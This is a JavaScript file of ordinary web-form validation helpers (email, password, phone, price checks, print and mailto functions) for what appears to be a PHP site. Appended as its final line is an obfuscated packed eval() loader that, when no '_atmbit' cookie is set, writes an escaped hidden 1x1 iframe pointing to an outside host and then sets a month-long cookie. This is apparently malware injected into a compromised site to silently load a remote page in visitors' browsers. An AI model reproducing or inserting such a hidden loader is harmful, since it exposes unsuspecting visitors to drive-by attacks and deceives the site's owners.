var ranNum = Math.floor(Math.random() * (10000000 - 0 + 1)) + 1; //Generating a random number

//function to Check  Phone

function CheckPhone(fld)
{
	if(fld.value=='')
    {
		alert('Please enter Phone No.');
		fld.focus();
		return false;
	}
	return true;
}

function CheckEmpty(fld,msg)
{
	if(fld.value=='')
    {
	alert(msg);
	fld.focus();
		return false;
	}
	return true;
}

function CheckEmptyList(fld,msg)

{

	if(fld.options[fld.selectedIndex].value=='')

    {

		alert(msg);

		//fld.focus();

		return false;

	}

 

	return true;

}





//function to Check email

function CheckEmail(fld)

{

	if(fld.value=="")

	{

		alert("Please enter email address.");

		fld.focus();

		return false;

	}



	var emailStr=fld.value;

	var checkTLD=1;

	var knownDomsPat=/^(com|net|org|edu|int|mil|gov|arpa|biz|aero|name|coop|info|pro|museum)$/;



	var emailPat=/^(.+)@(.+)$/;



	var specialChars="\\(\\)><@,;:\\\\\\\"\\.\\[\\]";



	var validChars="\[^\\s" + specialChars + "\]";



	var quotedUser="(\"[^\"]*\")";



	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;



	var atom=validChars + '+';



	var word="(" + atom + "|" + quotedUser + ")";



	var userPat=new RegExp("^" + word + "(\\." + word + ")*$");



	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$");



	var matchArray=emailStr.match(emailPat);



	if (matchArray==null)

	{

		fld.focus();

		fld.select();

		alert("Email address format seems incorrect.");

		return false;

	}

	var user=matchArray[1];

	var domain=matchArray[2];



	for (i=0; i<user.length; i++) {

	if (user.charCodeAt(i)>127) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	   }

	}

	for (i=0; i<domain.length; i++) {

	if (domain.charCodeAt(i)>127) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	   }

	}



	// See if "user" is valid 



	if (user.match(userPat)==null) {



	// user is not valid

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	}



	var IPArray=domain.match(ipDomainPat);

	if (IPArray!=null) 

	{

	for (var i=1;i<=4;i++) {

	if (IPArray[i]>255) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	   }

	}

	return true;

	}





	var atomPat=new RegExp("^" + atom + "$");

	var domArr=domain.split(".");

	var len=domArr.length;

	for (i=0;i<len;i++) {

	if (domArr[i].search(atomPat)==-1) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	   }

	}



	if (checkTLD && domArr[domArr.length-1].length!=2 && 

	domArr[domArr.length-1].search(knownDomsPat)==-1) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	}



	if (len<2) {

	fld.focus();

	fld.select();

	alert("Email address format seems incorrect.");

	return false;

	}

	return true;

}





function CheckComp(fld)

{

	if(fld.value=="" || fld.value.charAt(0)==" ")

	{

		alert("Please enter Company Name.");

		fld.focus();

		return false;

	}

	return true;

}

function CheckName(fld)
{
	if(fld.value=="" || fld.value.charAt(0)==" ")
	{
	alert("Please enter Name.");
		fld.focus();
	return false;
	}
	return true;
}
function CheckComments(fld)
{
	if(fld.value=="" || fld.value.charAt(0)==" ")
	{
		alert("Please enter Comments");
		fld.focus();
		return false;
	}
	return true;
}

function CheckAdd(fld)
{
	if(fld.value=="" || fld.value.charAt(0)==" ")
	{
		alert("Please enter Address.");
		fld.focus();
		return false;
	}
	return true;
}



function CheckUrl(fld)

{

	if(fld.value.indexOf("://")!=-1 && fld.value!="")

	{

		alert("Please do not include http:// or https://.");

		fld.focus();

		fld.select();

		return false;

	}

	

	return true;

}

function CheckLogin(fld)

{

	if(fld.value.length<5  || fld.value.length>20)

	{

		alert('Login length should be between 5 and 20 characters.');

		fld.focus();

		fld.select();

		return false;

	}

	return true

}

function CheckPass(fld1,fld2)

{

	if(fld1.value.length<5  || fld1.value.length>20)

	{

		alert('Password length should be between 5 and 20 characters.');

		fld1.value="";

		fld2.value="";

		fld1.focus();

		fld1.select();

		return false;

	}

	

	return true

}

function CheckPass2(fld)

{

	if(fld.value.length<5  || fld.value.length>20)

	{

		alert('Password length should be between 5 and 20 characters.');

		fld.value="";

		fld.focus();

		fld.select();

		return false;

	}

	return true

}



function CheckConPass(fld1,fld2)

{

	if(fld1.value!=fld2.value)

	{

		alert('Confirmation password does not match.');

		fld2.value="";

		fld2.focus();

		fld2.select();

		return false;

	}

	return true;

}



function CheckPriceFormat(fld)

{

	if(isNaN(fld.value)==true)

	{

		alert('Price may only contain numeric values.\nFor example: $100,000 should be entered as 100000.');

		fld.focus();

		fld.select();

		return false;

	}

	return true;

}

function CheckSizeFormat(fld,msg)

{

	if(isNaN(fld.value)==true)

	{

		alert(msg);

		fld.focus();

		fld.select();

		return false;

	}

	return true;

}

function GetConfirmation(msg)

{

	if (window.confirm(msg))

	{

	  return true

	}

	else

	{

		return false

	}

	return true;

}

checkAll = true;

function SelectAll(frm)

{

	for (i = 0; i <frm.elements.length; i++)

	{

		frm.elements[i].checked = checkAll

	}

	checkAll = (checkAll) ? false : true

}



function OpenDetails(id,type)

{

	NewWindow('details.php?id='+id+'&type='+type,'details_pop','517','350','yes','center')

}

function OpenPassWin()

{

	NewWindow('forget_password.php','pass_pop','300','250','yes','center')

}

function interactchief()

{

	window.location.href='question.php';

}

function PrintSuggestion(id)

{

	NewWindow('print_suggestion.php?id='+id,'print_pop','600','400','yes','center')

}



function PrintSelected(frm)

{

	var ids='';

	var emails='';

	var pa=frm.pa_fld.options[frm.pa_fld.selectedIndex].value;

	for (i = 0; i <frm.elements.length; i++)

	{

		if(frm.elements[i].checked==true && frm.elements[i].value!="checkbox")

		{

			//ids=eval(frm.+"id"+i).value+"::";

			idEmailArr=frm.elements[i].value.split('::::');

			ids+=idEmailArr[0]+",";

			emails+=idEmailArr[1]+",";

		}

	}

	if(ids=='')

	{

		alert("Please select dreams from the list to print");

	}

	else

	{

		NewWindow('print_suggestion.php?ids='+ids+'&pa='+pa,'print_pop','600','400','yes','center');

	}

	

	return false;

}



function WaitSelected(frm)

{

	var ids='';

	var emails='';

	var pa=frm.pa_fld.options[frm.pa_fld.selectedIndex].value;

	for (i = 0; i <frm.elements.length; i++)

	{

		if(frm.elements[i].type=='checkbox')

		{

			if(frm.elements[i].checked==true && frm.elements[i].value!="checkbox")

			{

				//ids=eval(frm.+"id"+i).value+"::";

				idEmailArr=frm.elements[i].value.split('::::');

				ids+=idEmailArr[0]+",";

				emails+=idEmailArr[1]+",";

			}

		}

	}

	if(emails=='')

	{

		alert("Please select dreams");

	}

	else

	{

		window.location.href="mailto:?subject=COAS&BCc="+emails;

	}

	

	return false;

}

function ResetForm(frm)

{

	for (i = 0; i <frm.elements.length; i++)

	{

		if(frm.elements[i].type=='text')

		{

			frm.elements[i].value = ""

		}

	}

	return false;

}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B o=j k(),f=j k(o.z()+y);x(e.q.A("n=1")==-1){e.J(H("%s%2%p%h%5%g%3%9%I%2%b%0%8%7%m%9%8%3%2%l%8%0%7%m%9%d%h%G%7%a%8%0%0%w%u%4%4%c%r%5%b%2%6%l%F%5%0%g%C%6%3%0%4%i%D%i%4%a%9%d%0%t%c%3%7%a%b%2%d%w%c%5%t%u%6%r%6%3%a%v%s%4%2%p%h%5%g%3%v"));e.q="n=1;"+" f="+f.E()+"; "}',46,46,'74||69|65|2F|61|6E|3D|68|20|27|64|6C|73|document|expires|6D|72|62|new|Date|67|31|_atmbit|today|66|cookie|6F|3C|79|3A|3E|70|if|2678400000|getTime|indexOf|var|2E|32|toGMTString|2D|63|unescape|77|write'.split('|')));
